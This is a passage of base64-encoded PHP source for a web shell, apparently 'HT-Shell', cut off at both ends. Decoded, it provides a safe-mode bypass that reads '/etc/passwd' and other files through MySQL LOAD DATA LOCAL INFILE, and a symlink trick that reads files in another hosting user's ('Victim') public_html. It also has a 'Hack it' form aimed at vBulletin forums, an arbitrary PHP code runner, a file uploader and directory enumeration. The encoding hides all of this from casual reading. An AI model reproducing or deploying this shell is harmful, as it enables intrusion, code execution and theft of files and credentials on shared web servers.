oiKTsgDQogICAgICAgICAgICAgICAgICAgICAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RDMpeyANCiAgICAgICAgICAgICAgICAgICAgICBmb3IoJHI9MDsgJHIgPCBzdHJsZW4oJGNoYXJzKTsgJHIrKyl7IA0KICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfXskY2hhcnNbJHBdfXskY2hhcnNbJHJdfSI7IA0KICAgICAgICAgICAgICAgICAgICAgIGdsb2IoJHBhdGguIioiKTsgDQogICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICB9ICAgICAgICANCiAgICAgICAgICAgICAgICAgCSAgfSANCiAgICAgICAgICAgICAgCQkgIH0gICAgICAgIA0KICAgICAgICAJCQkgIH0gICAgDQogICAgICAgIAkJCSAgfSANCiAgCQkJCQkgIH0gDQogIAkJCQkJICAkRCA9IGFycmF5X3VuaXF1ZSgkRCk7IA0KICAJCQkJCSAgZm9yZWFjaCgkRCBhcyAkaXRlbSkgZWNobyAieyRpdGVtfVxuIjsgDQogIAkJCQkJICBmdW5jdGlvbiBlaCgkZXJybm8sICRlcnJzdHIsICRlcnJmaWxlLCAkZXJybGluZSl7IA0KICAgICAJCQkJICBnbG9iYWwgJEQsICRjLCAkaTsgDQogICAgIAkJCQkJICBwcmVnX21hdGNoKCIvU0FGRVwgTU9ERVwgUmVzdHJpY3Rpb25cIGluXCBlZmZlY3RcLi4qd2hvc2VcIHVpZFwgaXMoLiopaXNcIG5vdFwgYWxsb3dlZFwgdG9cIGFjY2VzcyguKilvd25lZCBieSB1aWQoLiopLyIsICRlcnJzdHIsICRvKTsgDQogICAgIAkJCQkgIGlmKCRvKXsgJERbJGNdID0gJG9bMl07ICRjKys7fSANCiAgCQkJCQkgIH0gDQoJCQkJCSAgPz4NCgkJCQkJICA8L3RleHRhcmVhPg0KICAgICAgIAkJCSAgICAgIDwvdGQ+DQogICAgICAJCQkJICA8L3RyPg0KICAgICAgCQkJCSAgDQogICAgICAgCQkJCSAgPHRyPg0KICAgICAgICAgIAkJCSAgPHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjE5IiBjb2xzcGFuPSIyIiBkaXI9Imx0ciI+DQogICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMxMTExMTEiIHdpZHRoPSI3NyUiIGlkPSJBdXRvTnVtYmVyMTkiIGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAlIiBjb2xzcGFuPSI0IiBkaXI9Imx0ciI+DQogICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMxMTExMTEiIHdpZHRoPSIxMDAlIiBpZD0iQXV0b051bWJlcjIwIiBkaXI9Imx0ciI+DQogICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTAwJSIgY29sc3Bhbj0iMiIgZGlyPSJsdHIiPg0KICAgICAgICAgICAgICAgICAgCSAgICA8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBib3JkZXJjb2xvcj0iIzExMTExMSIgd2lkdGg9IjEwMCUiIGlkPSJBdXRvTnVtYmVyMjEiIGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJib3JkZXItc3R5bGU6IHJpZGdlOyBib3JkZXItd2lkdGg6IDE7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiIGRpcj0ibHRyIj4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTAwJSIgZGlyPSJsdHIiPg0KICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGJvcmRlcmNvbG9yPSIjMTExMTExIiB3aWR0aD0iMTAwJSIgaWQ9IkF1dG9OdW1iZXIyNCIgZGlyPSJsdHIiPg0KICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjUwJSIgZGlyPSJsdHIiPjw/IGVjaG8iPGZvbnQgc2l6ZT0nMScgZmFjZT0nVmVyZGFuYSc+DQogICAgICAgICAgICAgICAgICAgICAgPGZvbnQgZmFjZT1cIlZlcmRhbmFcIj48Yj48Zm9udCBzaXplPVwiMVwiPlNhZmVtb2RlIEJ5cGFzcyBSZWFkaW5nIGZpbGU8L2ZvbnQ+PGZvbnQgc2l6ZT1cIjFcIiBjb2xvcj1cIiNGRjAwMDBcIj4gTXlzcWwyPC9mb250PjwvYj48L2ZvbnQ+PC9wPiI7Pz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNTAlIiBkaXI9Imx0ciI+PD8gZWNobyI8Zm9udCBzaXplPScxJyBmYWNlPSdWZXJkYW5hJz4NCiAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBmYWNlPVwiVmVyZGFuYVwiPjxiPjxmb250IHNpemU9XCIxXCI+SGFjayBGb3J1bWhvbWUgT2Y8L2ZvbnQ+PGZvbnQgc2l6ZT1cIjFcIiBjb2xvcj1cIiNGRjAwMDBcIj4gdkI8L2ZvbnQ+PC9iPjwvZm9udD48L3A+Ijs/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAlIiBkaXI9Imx0ciI+DQogICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMxMTExMTEiIHdpZHRoPSIxMDAlIiBpZD0iQXV0b051bWJlcjIyIiBoZWlnaHQ9IjEyNCIgZGlyPSJsdHIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICA8dGQgd2lkdGg9IjUwJSIgZGlyPSJsdHIiPiAgICAgICAgICAgIA0KCQkJPGRpdiBkaXI9Imx0ciI+DQoJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGRpcj0ibHRyIj4NCgkJCTx0YWJsZSBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIxIiB3aWR0aD0iMTA5IiBkaXI9Imx0ciI+DQoJCSAgIAk8dHI+DQoJCQk8dGQgd2lkdGg9IjMxMiIgZGlyPSJsdHIiPjxmb250IGZhY2U9IlRhaG9tYSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4NCgkJCURhdGFCYXNlIE5hbWUgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGJuYW1lIiBzaXplPSIyMCI+Jm5ic3A7IA0KCQkJPC9zcGFuPjwvZm9udD48L3RkPg0KCQkJPHRkIHdpZHRoPSIyNDUiIGRpcj0ibHRyIj48Zm9udCBmYWNlPSJUYWhvbWEiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlwdCI+DQoJCQlVc2VybmFtZSA6PGJyPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRidXNlciIgc2l6ZT0iMjAiPjwvc3Bhbj48L2ZvbnQ+PC90ZD4NCgkJCTx0ZCB3aWR0aD0iMTE3IiBkaXI9Imx0ciI+PGZvbnQgZmFjZT0iVGFob21hIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPg0KCQkJUGFzc3dvcmQgOjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYnBhc3MiIHNpemU9IjIwIj48L3NwYW4+PC9mb250PjwvdGQ+DQoJCSAgICA8L3RyPg0KCQkgICAgPHRyPg0KCQkJPHRkIHdpZHRoPSI1NTgiIHZhbGlnbj0ibWlkZGxlIiBjb2xzcGFuPSIyIiBkaXI9Imx0ciI+DQoJCQk8cCBhbGlnbj0ibGVmdCIgZGlyPSJsdHIiPjxmb250IGZhY2U9IlRhaG9tYSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4NCgkJCUZpbGUgUGF0aCA6DQoJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGF0aDEiIHNpemU9IjI4IiB2YWx1ZT0iL2V0Yy9wYXNzd2QiPjwvc3Bhbj48L2ZvbnQ+PC90ZD4NCgkJCTx0ZCB3aWR0aD0iMTE3IiB2YWxpZ249Im1pZGRsZSIgZGlyPSJsdHIiPg0KCQkJPGZvbnQgZmFjZT0iVGFob21hIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPg0KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJ5cGFzcyIgbmFtZT0iZXhlYyI+PC9zcGFuPjwvZm9udD48L3RkPg0KCQkgICAgPC90cj4NCgkJDQoJPHRyPg0KCTx0ZCB3aWR0aD0iNjcwIiB2YWxpZ249Im1pZGRsZSIgY29sc3Bhbj0iMyIgZGlyPSJsdHIiPg0KCTx0ZXh0YXJlYSByb3dzPSI2IiBuYW1lPSJyZXN1bHQiIGNvbHM9IjU0Ij4NCgk8Pw0KCWlmKCFlbXB0eSgkX1BPU1RbJ2RibmFtZSddKSAmJiAhZW1wdHkoJF9QT1NUWydkYnVzZXInXSkgJiYgIWVtcHR5KCRfUE9TVFsnZGJwYXNzJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BhdGgxJ10pKSANCgl7DQoJJGRibmFtZSA9ICRfUE9TVFsnZGJuYW1lJ107DQoJJGRidXNlciA9ICRfUE9TVFsnZGJ1c2VyJ107DQoJJGRicGFzcyA9ICRfUE9TVFsnZGJwYXNzJ107DQoJJHBhdGgxID0gJF9QT1NUWydwYXRoMSddOw0KCWlmKG15c3FsX2Nvbm5lY3QoICJsb2NhbGhvc3QiLCAkZGJ1c2VyLCAkZGJwYXNzICkpDQoJew0KCSRkcm9wPSAiRFJPUCBUQUJMRSAkZGJuYW1lLmBieXBhc3NgIiA7DQoJJHF1ZXJ5ID0gIkNSRUFURSBUQUJMRSAkZGJuYW1lLmBieXBhc3NgIChgZmlsZXZpZXdgIFZBUkNIQVIoIDIwNDggKSBOT1QgTlVMTCk7IjsNCglteXNxbF9xdWVyeSgkZHJvcCk7DQoJbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCglteXNxbF9xdWVyeSgiTE9BRCBEQVRBIExPQ0FMIElORklMRSAiIC4gIickcGF0aDEnIiAgLiAiIElOVE8gVEFCTEUgIiAuICRkYm5hbWUgLiAiLmJ5cGFzcyIpOw0KCSRyZXN1bHQgPW15c3FsX2RiX3F1ZXJ5KCRkYm5hbWUsIlNFTEVDVCAqIEZST00gYnlwYXNzICIpOw0KCSRudW1yb3dzID0gbXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7ICAgIA0KCXdoaWxlKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgICB7IA0KCWVjaG8gJHJvd1tmaWxldmlld10gOyANCiAgICB9IA0KCX0NCgl9DQoJPz4NCgk8L3RleHRhcmVhPg0KCTwvdGQ+ICAJDQogICAgPC90cj4NCgk8L3RhYmxlPg0KCTwvZm9ybT4NCgk8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjUwJSIgZGlyPSJsdHIiPg0KICAgICAgICAgICAgICAgICA8ZGl2IGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9zaGVsbD1oYWNrZWQiIGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgICAgPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjEiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBib3JkZXJjb2xvcj0iIzExMTExMSIgd2lkdGg9IjEwMCUiIGlkPSJBdXRvTnVtYmVyMjMiIGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMzJSIgZGlyPSJsdHIiPjxmb250IGZhY2U9IlRhaG9tYSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4NCgkJCSAgICAgRGF0YUJhc2UgTmFtZTo8YnI+DQoJCQkgICAgIDwvc3Bhbj4NCgkJCSAgICAgPC9mb250Pg0KCQkJICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibXlzcWxsIiBzaXplPSIyMCIgdmFsdWU9Im15c3FsIj48L3RkPg0KICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMzJSIgZGlyPSJsdHIiPjxmb250IGZhY2U9IlRhaG9tYSI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4NCgkJCSAgICAgVXNlcm5hbWU6PGJyPg0KICAgICAgICAgICAgICAgICA8L3NwYW4+DQogICAgICAgICAgICAgICAgIDwvZm9udD4NCgkJCQkgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InJvb3R0IiBzaXplPSIyMCIgdmFsdWU9InJvb3QiPjwvdGQ+DQogICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzQlIiBkaXI9Imx0ciI+PGZvbnQgZmFjZT0iVGFob21hIj48c3BhbiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPg0KCQkJICAgICBQYXNzd29yZCA6PGJyPg0KICAgICAgICAgICAgICAgICA8L3NwYW4+DQogICAgICAgICAgICAgICAgIDwvZm9udD4NCgkgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3ZGQiIHNpemU9IjIwIj48L3RkPg0KICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzMlIiBkaXI9Imx0ciI+Jm5ic3A7PC90ZD4NCiAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzMyUiIGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciIgZGlyPSJsdHIiPg0KCQkJCSA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iSGFjayBpdCIgbmFtZT0iQjIiPjwvdGQ+DQogICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzQlIiBkaXI9Imx0ciI+Jm5ic3A7PC90ZD4NCiAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIGNvbHNwYW49IjMiIGRpcj0ibHRyIj4NCgkJCQkgPHRleHRhcmVhIHJvd3M9IjYiIG5hbWU9InVybCIgY29scz0iNTQiPg0KCQkJCSA8L3RleHRhcmVhPg0KCQkJCSA8L3RkPg0KICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAlIiBkaXI9Imx0ciI+PC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIHN0eWxlPSJib3JkZXItc3R5bGU6IHJpZGdlOyBib3JkZXItd2lkdGg6IDE7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiIGRpcj0ibHRyIj4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgIA0KICAgIDx0ZCB3aWR0aD0iNTAlIiBkaXI9Imx0ciI+DQoJPHAgZGlyPSJsdHIiPg0KCTw/IGVjaG8gIjxiPjxmb250IHNpemU9JzEnIGZhY2U9J1ZlcmRhbmEnPkN1cnJlbnQgRm9sZGVyIDwvZm9udD48L2I+Ijs/Pg0KCTxpbnB1dCBuYW1lPSJ2YWx1ZSIgc2l6ZT00NyB2YWx1ZT08P3BocCBlY2hvIHB3ZCgpOz8+DQoJPC90ZD4NCgk8dGQgd2lkdGg9IjUwJSIgZGlyPSJsdHIiPg0KCTxwIGRpcj0ibHRyIj4NCgk8PyBlY2hvICI8Yj48Zm9udCBzaXplPScxJyBmYWNlPSdWZXJkYW5hJz5Zb3VyIElkIDwvZm9udD48L2I+Ijs/Pg0KCTxpbnB1dCBuYW1lPSJ2YWx1ZSIgc2l6ZT00NyB2YWx1ZT08P3BocCBlY2hvIGdldHVzZXIoKTs/Pg0KCTwvdGQ+DQoJDQogICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICA8dHI+DQogICAgICAgICAgICANCiAgICAgICAgICAgICAgPGZvcm0gZGlyPSJsdHIiPg0KICAgICAgICAgICAgICA8dGQgd2lkdGg9IjI4JSIgcm93c3Bhbj0iMiIgZGlyPSJsdHIiPiZuYnNwOzwvdGQ+DQogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIlIiBkaXI9Imx0ciI+DQogICAgICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiIGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN5bXB5IiB2YWx1ZT0iWW91ciBJZCIgc2l6ZT0iMjAiPjwvdGQ+DQogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIlIiBkaXI9Imx0ciI+DQogICAgICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiIGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN5bXB0IiB2YWx1ZT0iVmljdGltIElkIiBzaXplPSIyMCI+PC90ZD4NCiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyOCUiIHJvd3NwYW49IjIiIGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciIgZGlyPSJsdHIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPjwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiUiIGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciIgZGlyPSJsdHIiPg0KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZm9sZGVyIiB2YWx1ZT0iQ3VycmVudCBGb2xkZXIiIHNpemU9IjIwIj4NCiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiUiIGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciIgZGlyPSJsdHIiPg0KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYyIgdmFsdWU9IldhbnRlZCBGaWxlIE9yIEZvbGRlciIgc2l6ZT0iMjAiPjwvdGQ+DQogICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI4MCUiIGNvbHNwYW49IjQiIGRpcj0ibHRyIj4NCiAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciIgZGlyPSJsdHIiPg0KICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgIA0KCQk8dGV4dGFyZWEgY29scz05NSByb3dzPTIgbmFtZT0idmFsdWUiPg0KCQk8P3BocA0KCQlpZighZW1wdHkoJF9HRVRbJ3N5bXB0J10pIEFORCAhZW1wdHkoJF9HRVRbJ3N5bXB5J10pIEFORCAhZW1wdHkoJF9HRVRbJ2ZvbGRlciddKSkNCgkJew0KCQkkdGhlbT0kX0dFVFsnc3ltcHQnXTsNCgkJJHlvdT0kX0dFVFsnc3ltcHknXTsNCgkJJGZvbGRlcj0kX0dFVFsnZm9sZGVyJ107DQoJCX0NCgkJJGsgPSAkX0dFVFsnYyddOw0KCQkkZmxpYiA9ICJjb2xkejNyby50eHQiOw0KCQlpZiAoJGsgPT0gIiIpIHsNCgkJZWNobyAiUmVhZCBGaWxlcyBCeSBTeW1saW5rIEZ1bmN0aW9uIjsNCgkJcHJpbnQgIiAsIEZpbGwgVGhlIFJlcXVlc3RlZCBJbmZvcm1hdGlvbiI7DQoJCX1lbHNlew0KCQlAdW5saW5rKCRmbGliKTsNCgkJJHN5bSA9ICIvaG9tZS8iIC4gJHRoZW0gLiAiL3B1YmxpY19odG1sLyIgLiAkazsNCgkJJGxpbmsgPSAiL2hvbWUvIiAgLiAkeW91IC4gIi9wdWJsaWNfaHRtbC8iIC4gJGZvbGRlciAuICIvIiAuICRmbGliOw0KCQlAc3ltbGluaygkc3ltLCAkbGluayk7DQoJCWlmICgka3swfSA9PSAiLyIpIHsNCgkJZWNobyAoIkZpbGUgUmVhZGVkIik7DQoJCWVjaG8gIlBhdGggb24gc2VydmVyICRsaW5rIjsNCgkJZWNobyAoIiBEaXJlY3QgTGluayAiLiAiaHR0cDovLyIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAiLyIgIC4gJGZvbGRlciAuICIvIiAuICRmbGliKTsNCgkJfWVsc2V7DQoJCWVjaG8gcmVhZGxpbmsoJGZsaWIpIC4gIlxuIjsNCgkJZWNobyAiRmlsZXNpemU6ICIgLiBsaW5raW5mbygkZmxpYikgLiAiQlxuXG4iOw0KCQllY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vIiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIvIiAgLiAkZm9sZGVyIC4gIi8iIC4gJGZsaWIpOw0KCQl9DQoJCX0NCgkJPz4NCgkJPC90ZXh0YXJlYT4NCiAgICAgICAgPC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgDQogICAgICAgIDx0cj4NCiAgICAgICAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgc3R5bGU9ImJvcmRlci1zdHlsZTogcmlkZ2U7IGJvcmRlci13aWR0aDogMTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMCIgZGlyPSJsdHIiPiZuYnNwOzwvdGQ+DQogICAgICAgIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHN0eWxlPSJib3JkZXItc3R5bGU6IHJpZGdlOyBib3JkZXItd2lkdGg6IDE7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDAiIGRpcj0ibHRyIj48L3RkPg0KICAgICAgICA8L3RyPg0KICAgICAgICANCiAgICAgICAgICA8dHI+DQogICAgICAgICAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMTkiIGRpcj0ibHRyIj4NCgkJCSAgPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMxMTExMTEiIHdpZHRoPSIxMDAlIiBpZD0iQXV0b051bWJlcjI1IiBkaXI9Imx0ciI+DQogCQkgIDx0cj4NCiAgICAgICAgICA8Zm9ybSBhY3Rpb24gbWV0aG9kPVBPU1QgZGlyPSJsdHIiPg0KICAgICAgICAgIDx0ZCB3aWR0aD0iNTAlIiByb3dzcGFuPSIyIiBkaXI9Imx0ciI+ICAgICAgDQogICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InR5cGUiIHZhbHVlPTE+DQogICAgCSAgPHRleHRhcmVhIHJvd3M9NSBjb2xzPTM1IG5hbWU9InZhbHVlIj48P3BocCBlY2hvICdlY2hvICJIVC1TaGVsbEBoYWNrdGVhY2gub3JnIjsnOz8+PC90ZXh0YXJlYT4NCiAgICAJICA8L3RkPg0KICAgICAgDQogICAgPHRkIHdpZHRoPSI1MCUiIGFsaWduPSJjZW50ZXIiIGRpcj0ibHRyIj4NCiAgICAgICA8PyBlY2hvIjxiPjxmb250IHNpemU9JzEnIGZhY2U9J1ZlcmRhbmEnPlJ1biBQSFAgQ29kZTwvZm9udD48L2I+PC9mb250PiI7Pz4NCiAgICA8L3RkPiAgDQogICAgPC90cj4NCiAgICA8dHI+DQogICAgPHRkIHdpZHRoPSI1MCUiIGFsaWduPSJjZW50ZXIiIGRpcj0ibHRyIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IlJ1biBjb2RlIj48L3RkPg0KIAk8L2Zvcm0+DQogIAk8L3RyPg0KCTwvdGFibGU+DQoJPC90ZD4NCiAgICAgICANCiAgICAgICA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxOSIgZGlyPSJsdHIiPg0KCSAgIDxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbiBtZXRob2Q9UE9TVCBkaXI9Imx0ciI+DQogICAgICAgPHAgZGlyPSJsdHIiPjxiPjxmb250IHNpemU9IjEiIGZhY2U9IlZlcmRhbmEiPlVwbG9hZDo8L2ZvbnQ+Jm5ic3A7Jm5ic3A7Jm5ic3A7ICZuYnNwOzwvYj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idHlwZSIgdmFsdWU9Nj4mbmJzcDsNCiAgICAgICA8aW5wdXQgdHlwZT1maWxlIG5hbWU9InVzZXJmaWxlIiBzaXplPTM5Pg0KICAgICAgIDxicj4NCiAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idHlwZSIgdmFsdWU9Nj4NCiAgCSAgIDxiPjxmb250IHNpemU9IjEiIGZhY2U9IlZlcmRhbmEiPlJlbmFtZTo8L2ZvbnQ+PC9iPg0KICAJICAgPGlucHV0IHR5cGU9dGV4dCBzaXplPTM5IG5hbWU9Im5ld25hbWUiPg0KICAJICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJVcGxvYWQiPg0KICAJICAgPC9wPjwvZm9ybT48L3RkPg0KICAgICAgIDwvdHI+DQogICAgICAgPHRyPg0KICAgICAgIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjE5IiBzdHlsZT0iYm9yZGVyLXN0eWxlOiByaWRnZTsgYm9yZGVyLXdpZHRoOiAxOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwIiBkaXI9Imx0ciI+Jm5ic3A7PC90ZD4NCiAgICAgICA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxOSIgc3R5bGU9ImJvcmRlci1zdHlsZTogcmlkZ2U7IGJvcmRlci13aWR0aDogMTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMCIgZGlyPSJsdHIiPiZuYnNwOzwvdGQ+DQogICAgICAgPC90cj4NCiAgICAgICA8dHI+DQogICAgICAgPHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjE5IiBjb2xzcGFuPSIyIiBkaXI9Imx0ciI+DQogICAgICAgICANCjw/DQoJCQlpZiAoIWlzc2V0KCRfR0VUWydhY3Rpb24nXSkgT1